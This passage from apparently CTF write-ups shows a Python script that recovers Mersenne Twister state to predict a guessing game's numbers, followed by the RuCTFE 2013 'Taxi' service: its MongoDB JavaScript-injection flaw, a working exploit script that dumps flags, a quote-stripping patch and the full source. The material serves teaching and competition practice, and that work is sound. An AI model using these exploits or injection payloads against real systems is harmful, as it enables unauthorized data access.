        ndx = ndx % N
        y = (sv[ndx] & UM) | (sv[(ndx + 1) % N] & LM)
        sv[ndx] = sv[(ndx + M) % N] ^ (y >> 1)
        if y & 0x1:
                sv[ndx] ^= 0x9908b0df
        rn = sv[ndx]
        rn = BitshiftRightXor(rn, 11, 0xffffffff)
        rn = BitshiftLeftXor(rn,   7, 0x9d2c5680)
        rn = BitshiftLeftXor(rn,  15, 0xefc60000)
        rn = BitshiftRightXor(rn, 18, 0xffffffff)
        return rn

def getrandbits(sv, ndx, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        result = 0
        for i in range(0, bytes, 4):
                random = MTwister(sv, ndx + (i / 4))
                if bits < 32:
                        random = random >> (32 - bits)
                r.append( random        & mask)
                r.append((random >>  8) & mask)
                r.append((random >> 16) & mask)
                r.append((random >> 24) & mask)
                bits = bits - 32
        j = 0
        for b in r:
                result = (b << (8 * j)) | result
                j += 1
        return result, (i / 4) + 1

# getstatebits works OK when bits % 32 == 0
def getstatebits(sv, value, bits):
        bytes = ((bits - 1) / 32 + 1) * 4
        mask = 0xff
        r = []
        for i in range(0, bytes, 4):
                if bits < 32:
                        value = value << (32 - bits)
                j = 32 * (i/4)
                r.append((value >>  j)       & mask)
                r.append((value >> (j +  8)) & mask)
                r.append((value >> (j + 16)) & mask)
                r.append((value >> (j + 24)) & mask)
                bits = bits - 32
                result = 0
                j = 0
                for b in r:
                        result = (b << (8 * j)) | result
                        j += 1
                sv.append(untransform(result))
                del r[:]
        return (i / 4) + 1
# cat guess.py
#!/usr/bin/python

import netlib
import re
import sys
from reverse import *

buffsize = 4096
max_retries = 2
pause = 0.5
timeout = 2

ip    = sys.argv[1]
port  = sys.argv[2]
proto = sys.argv[3]

N = 624
L = 64

sc = netlib.sc(ip, port, proto)
if sc.connect(max_retries, pause):
        data = sc.recv(buffsize, timeout)
        data = sc.recv(buffsize, timeout)
        i = 0
        sv = []
        while i < N:
                if sc.send("\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                answer = re.findall(r'[0-9]{5,}', data)
                for a in answer:
                        r = getstatebits(sv, int(a), L)
                        print i, a
                        i += r
        data = sc.recv(buffsize, timeout)
        mt, r = getrandbits(sv, i, L)
        i += r
        while True:
                mt, r = getrandbits(sv, i, L)
                i += r
                print 'Sending = \'' + str(mt) + '\''
                if sc.send(str(mt) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data
# python guess.py 88.198.89.194 8888 tcp
...
You did it! The flag is: 30C3_b9b1579866cccd28b1918302382c9107

Update

# cat guess.py
...
import random
...
        data = sc.recv(buffsize, timeout)
        sv.append(1337)
        r = random.Random()
        r.setstate((3, tuple(sv), None))
        r.getrandbits(L)
        while True:
                n = r.getrandbits(L)
                print 'Sending = \'' + str(n) + '\''
                if sc.send(str(n) + "\n") == False:
                        sys.exit()
                data = sc.recv(buffsize, timeout)
                print data

References

http://en.wikipedia.org/wiki/Mersenne_twister
http://jazzy.id.au/default/2010/09/22/cracking_random_number_generators_part_3.html
http://svn.python.org/view/*checkout*/python/trunk/Modules/_randommodule.c

# RuCTFE 2k13: Taxi


Vulnerable code

# cat taxi.py
...
def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    return list(res.find())
...

Exploit

# cat exploit.py
#!/usr/bin/python

import httplib
import urllib
import re
import sys

def taxi_exploit(ip, username):
    port = 8081
    query= '/add_admin/?admin=' + username
    conn = httplib.HTTPConnection(ip, port)
    conn.request('POST', query)
    resp = conn.getresponse()
    hmac = resp.getheader('set-cookie')

    js_injection = urllib.quote_plus("' || true) emit(this.route, 1); if('")
    query= '/amount/?user=' + username + '&admin=' + js_injection
    headers = {"Cookie": hmac}
    conn.request('GET', query, '', headers)
    resp = conn.getresponse()
    data = resp.read()

    conn.close()

    flags = []
    for flag in re.findall('[A-Za-z0-9=]{32}', data):
        flags.append(flag)

    for i in flags:
        print i

ip = sys.argv[1]
username = sys.argv[2]

taxi_exploit(ip, username)
# ./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`

Patch

# cat taxi.py
...
def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())
...

Complete code

# cat taxi.py
#!/usr/bin/python
import urlparse
import os
import random
import string
import hmac
import hashlib
import os.path
import json
import re

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from pymongo import collection
from pymongo import Connection
from datetime import datetime
from bson.code import Code

DBNAME = 'taxi'
COLNAME = 'orders'
USERS = 'users'
KEY_FILE = 'key'


def connect_db(dbname):
    c = Connection()
    return c[dbname]

def generate_id():
    abc = string.ascii_lowercase + string.digits
    res = ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    res += "-"
    res += ''.join(random.choice(abc) for i in range(4))
    return res


def add(amount, admin, user, route, col):
    generated_id = generate_id()
    return add_by_id(generated_id, amount, admin, user, route, col)


def add_by_id(id, amount, admin, user, route, col):
    rid = col.insert(
        {"_id": id, "date": datetime.now(), "amount": amount, "admin": admin, "user": user, "route": route})
    print rid
    return rid


def get_by_id(id, col):
    found = col.find_one({"_id": id})
    return dict(found)


def get_map_func(admin_name):
    map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }"
    return Code(map_f)


def get_reduce_func():
    reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}"
    return Code(reduce_f)


def mr_test(col, admin_name):
    #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res")
    res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res")
    return list(res.find())


def view_all(col, admin_name):
    res = col.find({"admin": admin_name}).sort("date")
    return list(res)


def r_replace(s, old, new, occurrence):
    li = s.rsplit(old, occurrence)
    return new.join(li)


def dict_to_str(dic):
    d = {}
    for i in dic:
        d[i] = str(dic[i])
    return json.dumps(d)


def try_create_user(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        user = p['user'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is None:
            return "Admin does not  exist", ""
        user_exists = col.find_one({"user": user})
        if user_exists is not None:
            return "User already exists", ""
        id = col.insert({"admin": admin, "user": user})
        if id:
            return "Success", user
        else:
            return "Can't create new user", ""
    except KeyError:
        return "You have to set [admin], [user] and [pswd] parameters in order to register new user", ""


def try_create_admin(query, db):
    try:
        p = urlparse.parse_qs(query)
        admin = p['admin'][0]
        col = collection.Collection(db, USERS)
        admin_exists = col.find_one({"admin": admin})
        if admin_exists is not None:
            return "Admin already exists", ""
        id = col.insert({"admin": admin, "user": admin})
        if id:
            return "Success", admin
        else:
            return "Can't create new admin", ""
    except KeyError:
        return "You have to set [admin] parameter in order to register new admin", ""


def get_hmac(message):
    try:
        key = file(KEY_FILE).read()
        return hmac.new(key, message, digestmod=hashlib.sha1).hexdigest()
    except:
        return None


class MonHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            p = urlparse.parse_qs(parsed.query)
            user = p['user'][0]

            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if 'cookie' not in self.headers:
                print "no cookie sent"
                self.send_error(401)
                return
            print self.headers['cookie']
            c = self.headers['cookie']
            r = re.search("hm=([^;]+)", c)
            if not r:
                print "no hmac sent"
                self.send_error(401)
                return

            h_mac = r.group(1)

            if h_mac != get_hmac(user):
                self.send_error(401)
                return

            if action == 'route':
                if 'id' in p:
                    r_id = p['id'][0]
                    res = get_by_id(r_id, col)
                    result_doc = dict_to_str(res)
                    self.send_response(200)
                    self.send_header('Content-type', 'text-html')
                    self.end_headers()
                    self.wfile.write(result_doc)
                    return
                else:
                    self.send_response(400)
                    return
            elif action == 'routes':
                admin = p['admin'][0]
                result_doc = view_all(col, admin)
            elif action == 'amount':
                admin = p['admin'][0]
                result_doc = mr_test(col, admin)
                print result_doc
            else:
                self.send_response(405)
                return

            self.send_response(200)
            self.send_header('Content-type', 'text-html')
            self.end_headers()
            for doc in result_doc:
                self.wfile.write(json.dumps(doc))
                self.wfile.write("\n")
            return

        except Exception as e:
            print str(e)
            self.send_error(404)

    def do_POST(self):
        try:
            parsed = urlparse.urlparse(self.path)
            action = os.path.split(parsed.path)[0]
            action = action.replace('/', '')
            print action
            db = connect_db(DBNAME)
            col = collection.Collection(db, COLNAME)

            if action == 'add_user':
                res, user = try_create_user(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(user))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_admin':
                res, admin = try_create_admin(parsed.query, db)
                if res == "Success":
                    self.send_response(200)
                    self.send_header('Set-Cookie', 'hm=' + get_hmac(admin))
                    self.end_headers()
                else:
                    self.send_error(400)
                    self.wfile.write(res)
                return
            elif action == 'add_route':
                if 'cookie' not in self.headers:
                    print "no cookie sent"
                    self.send_error(401)
                    return
                print self.headers['cookie']
                c = self.headers['cookie']
                r = re.search("hm=([^;]+)", c)
                if not r:
                    print "no hmac sent"
                    self.send_error(401)
                    return

                h_mac = r.group(1)
                p = urlparse.parse_qs(parsed.query)
                user = p['user'][0]

                if h_mac != get_hmac(user):
                    self.send_error(401)
                    return

                try:
                    amount = float(p['amount'][0])
                except ValueError:
                    self.send_response(400)
                    return

                admin = p['admin'][0]
                route = p['route'][0]
                o_id = p.get('id', [""])[0]
                print "params: " + o_id + "; " + str(amount)
                if o_id == "":
                    result = add(amount, admin, user, route, col)
                else:
                    result = add_by_id(o_id, amount, admin, user, route, col)
                self.send_header('Content-type', 'text-html')
                self.end_headers()
                self.wfile.write(result)
                if result is not None:
                    self.send_response(200)
                else:
                    self.send_error(501)
                return
            else:
                self.send_error(405)
                return

        except Exception as e:
            print str(e)
            self.send_error(500)


def gen_key_if_not_exists():
    if os.path.isfile(KEY_FILE):
        return
    length = 256
    chars = string.ascii_letters + string.digits + '!@#$%^&*()'
    random.seed = (os.urandom(1024))
    key = ''.join(random.choice(chars) for i in range(length))
    try:
        open(KEY_FILE, 'w').write(key)
    except:
        print "Can't create key file"
        return


def run():
    print 'taxi service is starting...'
    server_address = ('0.0.0.0', 8081)
    httpd = HTTPServer(server_address, MonHTTPRequestHandler)
    print 'Welcome to our taxi service!'
    print 'You can order trips, view your users\' routes and monitor your riding costs'
    print 'Please notice that we charge you extra 10% VAT according to our Ural state laws'
    gen_key_if_not_exists()
    httpd.serve_forever()


if __name__ == '__main__':
    run()